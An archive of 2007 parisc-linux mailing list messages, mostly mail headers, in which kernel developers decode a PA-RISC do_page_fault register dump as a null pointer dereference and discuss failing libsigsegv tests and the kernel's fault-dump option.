	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 05:15:59 -0600 (MDT)
Original-Received: from [127.0.0.1] (helo=localhost)
	by mailgate.urz.tu-dresden.de with esmtp (exim-4.51)
	for <parisc-linux@lists.parisc-linux.org>
	id 1HgIzx-0001Bd-89; Tue, 24 Apr 2007 13:15:53 +0200
Original-Received: from mailgate.urz.tu-dresden.de ([127.0.0.1])
	by localhost (amavis-35 [127.0.0.1]) (amavisd-new,
	port 10024) with ESMTP
	id 27456-112 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 13:15:52 +0200 (MEST)
Original-Received: from [141.30.67.31] (helo=server-n)
	by mailgate.urz.tu-dresden.de with esmtp (exim-4.51)
	for <parisc-linux@lists.parisc-linux.org>
	id 1HgIzw-0001BX-Mu; Tue, 24 Apr 2007 13:15:52 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 4AAF4100A091
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 13:15:53 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
X-TUD-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on amavis-35
X-TUD-Virus-Scanned: amavisd-new 2.3.1 (20050509) at tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y94YcnZdRkkerquPfGRq06tmdWkvKJNq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24491

Jeff Bailey wrote:
> I've googled a bit and am having trouble finding a guide to interpret
> a do_page_fault message.  Are these the result of a userspace app
> behaving poorly?  I'm going to try and reduce this to a test case over
> the next few days.

I saw these for testcases of libsigsegv, a very simple library which is 
used to handle page faults in user space. This is normal for garbage 
collected languages, as stock hardware provides no other efficient means 
to implement write barriers to memory other than making the respective 
pages read-only. Page faults under Unix-like systems are slow enough for 
these purposes, so one should not print a complete register dump in the 
handler...

Btw, if someone with a good insight into signal handling has some time: 
I am currently investigating why libsigsegv's testcases all fail. I have 
a patched version that fixes some typos in the configure script to let 
it detect the platform correctly here: 
http://www.inf.tu-dresden.de/~s1054849/libsigsegv-2.4-hppa.tar.gz

Just configure && make && make check.

tests/sigsegv1 gets a wrong fault address (0) in the handler and aborts.

The rest of the test cases just get a SIGSEGV and die, indicating that 
the handler isn't even called.... I am clueless. Any help is greatly 
appreciated.

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault
Date: Tue, 24 Apr 2007 08:50:35 -0400
Lines: 81
Approved: news@gmane.org
Message-ID: <20070424125035.GA306__17018.8894765035$1416624342$gmane$org@fattire.cabal.ca>
References: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624342 23637 80.91.229.3 (22 Nov 2014 02:45:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:42 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2007 12:50:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 24 Apr 2007 14:50:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 776717DB55;
	Tue, 24 Apr 2007 06:50:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17620-07; Tue, 24 Apr 2007 06:50:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 533547DB59;
	Tue, 24 Apr 2007 06:50:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E58117DB52
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 06:50:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17620-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 06:50:37 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 11F777DB50
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 06:50:37 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3478B5840A6;
	Tue, 24 Apr 2007 08:50:36 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 860635840A2;
	Tue, 24 Apr 2007 08:50:35 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 40415837DB; Tue, 24 Apr 2007 08:50:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HM8acX5abGI0haaDYmRn5sVncmZ1Zhxq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24492

On Tue, Apr 24, 2007 at 05:41:19AM -0400, Jeff Bailey wrote:
> I've googled a bit and am having trouble finding a guide to interpret
> a do_page_fault message.  Are these the result of a userspace app
> behaving poorly?  I'm going to try and reduce this to a test case over
> the next few days.
> 
> do_page_fault() pid=21916 command='gij-4.1.bin' type=15 address=0x00000004
> 

Self explainatory (address is the faulting address)

>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  000000ff0004ff0f 0000000042cdded8 0000000041655863 0000000042dc4030
> r04-07  0000000042c5ced8 0000000042dc4030 0000000042e16600 0000000042e0e198
> r08-11  00000000402fe690 000000004014da80 00000000402f5680 0000000040630460
> r12-15  0000000042e165a0 0000000040391000 00000000c0381308 000000004036cf88
> r16-19  000000004036d308 0000000000000000 0000000000000000 0000000042c5ced8
> r20-23  0000000000000043 00000000400f93b0 0000000041655834 0000000000000800
> r24-27  0000000000000000 0000000000000001 0000000042d93fc4 0000000000011a74
> r28-31  0000000000000000 0000000000000800 00000000c0382180 0000000041bff5bb

General regs

> sr00-03  0000000000892800 0000000000892800 0000000000000000 0000000000892800
> sr04-07  0000000000892800 0000000000892800 0000000000892800 0000000000892800
> 

Space regs (this is a user space)

>      VZOUICununcqcqcqcqcqcrmunTDVZOUI
> FPSR: 00001000000010001000000000000000
> FPER1: 00000000
> fr00-03  0808800000000000 0000000000000000 0000000000000000 0000000000000000
> fr04-07  4024000000000000 3fe6e2ffbde423e5 3f400000d2400000 3ff0000000000000
> fr08-11  0000000000000028 00000000f000024c 0000000040541380 0000000000000802
> fr12-15  42c5ced80000000b 0000000000000001 42e24000404a01d8 42c5ced8455c4108
> fr16-19  fffffffffffff000 0000000000000000 0000000000000802 00000000405a1000
> fr20-23  00000000455c4398 0000000040541380 42d4ce0013b13bb5 000002bb00000000
> fr24-27  0000000600000000 00000000000225e8 5eb15c1bc135d057 14bb70f5e181fefc
> fr28-31  5eb15c1b9efa484d 7c39793785daed7c 5eb15c1b455c4398 ec0fba0d40541380
> 

FPRs

> IASQ: 0000000000892800 0000000000892800

Space queues (front & back)

> IAOQ: 000000004165586f 0000000041655873

The faulting address (and the next address in the queue) with
the prot bits.

> IIR: 0f881083    ISR: 0000000000892800  IOR: 0000000000000004

IIR is the interrupting instruction register, in this case, it's
   0:   0f 88 10 83     ldw 4(ret0),r3

So, can plainly see it's a null ptr deref.

> CPU:        0   CR30: 0000000114bc0000 CR31: 0000000040500000
> ORIG_R28: 0000000000000002
> IAOQ[0]: 0x4165586c
> IAOQ[1]: 0x41655870

Actual faulting address (with the low-bits masked)

> RP(r2): 0x41655860
> 

Return pointer.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault
Date: Tue, 24 Apr 2007 09:16:37 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20070424131637.GE306__33134.6485451379$1416624342$gmane$org@fattire.cabal.ca>
References: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
	<20070424125035.GA306@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624342 23641 80.91.229.3 (22 Nov 2014 02:45:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:42 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2007 13:16:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 24 Apr 2007 15:16:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C09D07DB6C;
	Tue, 24 Apr 2007 07:16:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17847-06; Tue, 24 Apr 2007 07:16:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FB107DB64;
	Tue, 24 Apr 2007 07:16:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D4807DB5D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 07:16:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17667-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 07:16:38 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id B82E07DB5C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 07:16:38 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 30E4158409A;
	Tue, 24 Apr 2007 09:16:38 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B8E7958408A;
	Tue, 24 Apr 2007 09:16:37 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 69796837DB; Tue, 24 Apr 2007 09:16:37 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070424125035.GA306@fattire.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dTEZcVNubGI0haaDYmRnZ55ncmZ1ZpzM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24493

On Tue, Apr 24, 2007 at 08:50:35AM -0400, Kyle McMartin wrote:
> > do_page_fault() pid=21916 command='gij-4.1.bin' type=15 address=0x00000004
> > 
> 

'type' here is analogous to 'code' in arch/parisc/kernel/traps.c and
can be decoded using the switch of doom in traps.c

cheers,
	kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault
Date: Tue, 24 Apr 2007 07:33:56 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20070424133356.GB32449__6566.14560070938$1416624342$gmane$org@parisc-linux.org>
References: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
	<462DE6E8.10004@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624342 23643 80.91.229.3 (22 Nov 2014 02:45:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Julian Stecklina <der_julian@web.de>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2007 13:34:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 24 Apr 2007 15:34:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB70B7DB76;
	Tue, 24 Apr 2007 07:34:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17980-10; Tue, 24 Apr 2007 07:34:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BBCF7DB65;
	Tue, 24 Apr 2007 07:34:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EC3C7DB68
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 07:33:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17980-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 07:33:56 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 84F537DB65
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 07:33:56 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 9CCE4494009; Tue, 24 Apr 2007 07:33:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <462DE6E8.10004@web.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NXZHKU4vMydyuIigZWplJnxraGRhZloT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24494

On Tue, Apr 24, 2007 at 01:15:52PM +0200, Julian Stecklina wrote:
> I saw these for testcases of libsigsegv, a very simple library which is 
> used to handle page faults in user space. This is normal for garbage 
> collected languages, as stock hardware provides no other efficient means 
> to implement write barriers to memory other than making the respective 
> pages read-only. Page faults under Unix-like systems are slow enough for 
> these purposes, so one should not print a complete register dump in the 
> handler...

It's a compile-time option.  I'd be all in favour of turning it off by
default, if only it weren't so darned useful when debugging userspace ...

Maybe someone should make it a prctl?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] do_page_fault
Date: Tue, 24 Apr 2007 22:39:36 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20070425023936.GA7219__32170.9423129962$1416624343$gmane$org@fattire.cabal.ca>
References: <5b2e36650704240241r58da9af2x5b602b2efa0e43ba@mail.gmail.com>
	<20070424125035.GA306@fattire.cabal.ca>
	<20070424131637.GE306@fattire.cabal.ca>
	<119aab440704241935g4e471711ub32e8954625993e7@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624343 23647 80.91.229.3 (22 Nov 2014 02:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:43 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2007 02:39:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 25 Apr 2007 04:39:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EB677DB4F;
	Tue, 24 Apr 2007 20:39:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22255-08; Tue, 24 Apr 2007 20:39:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26A007DB50;
	Tue, 24 Apr 2007 20:39:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22B1A7DB4C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 20:39:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22251-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 20:39:38 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 5B9617DB20
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Apr 2007 20:39:38 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 62ACC5840A6;
	Tue, 24 Apr 2007 22:39:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7E3E75840A2;
	Tue, 24 Apr 2007 22:39:36 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 33D3B837DB; Tue, 24 Apr 2007 22:39:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440704241935g4e471711ub32e8954625993e7@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Qokdco9JTXs9m6yRbmQ57LpKRzdyMgPZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24495

On Tue, Apr 24, 2007 at 10:35:12PM -0400, Carlos O'Donell wrote:
> On 4/24/07, Kyle McMartin <kyle@mcmartin.ca> wrote:
> >On Tue, Apr 24, 2007 at 08:50:35AM -0400, Kyle McMartin wrote:
> >> > do_page_fault() pid=21916 command='gij-4.1.bin' type=15 
> >address=0x00000004
> >
> >'type' here is analogous to 'code' in arch/parisc/kernel/traps.c and
> >can be decoded using the switch of doom in traps.c
> 
> ... or the manual of doom "PA-RISC 2.0 ARCHITECTURE" section 5-1
> Interrupt Classes, Group 1-4, interrupts 1-25?
> 

Sure. I just find grep '<code>:' arch/parisc/kernel/traps.c easier than
navigating a pdf.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 2 May 2007 12:13:42 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20070502101342.GA27108__45749.562016181$1416624343$gmane$org@farad.aurel32.net>
References: <46379E8A.8080705@aurel32.net>
	<200705012059.l41Kxj21011265@hiauly1.hia.nrc.ca>
	<119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
	<463831CA.4060208@aurel32.net>
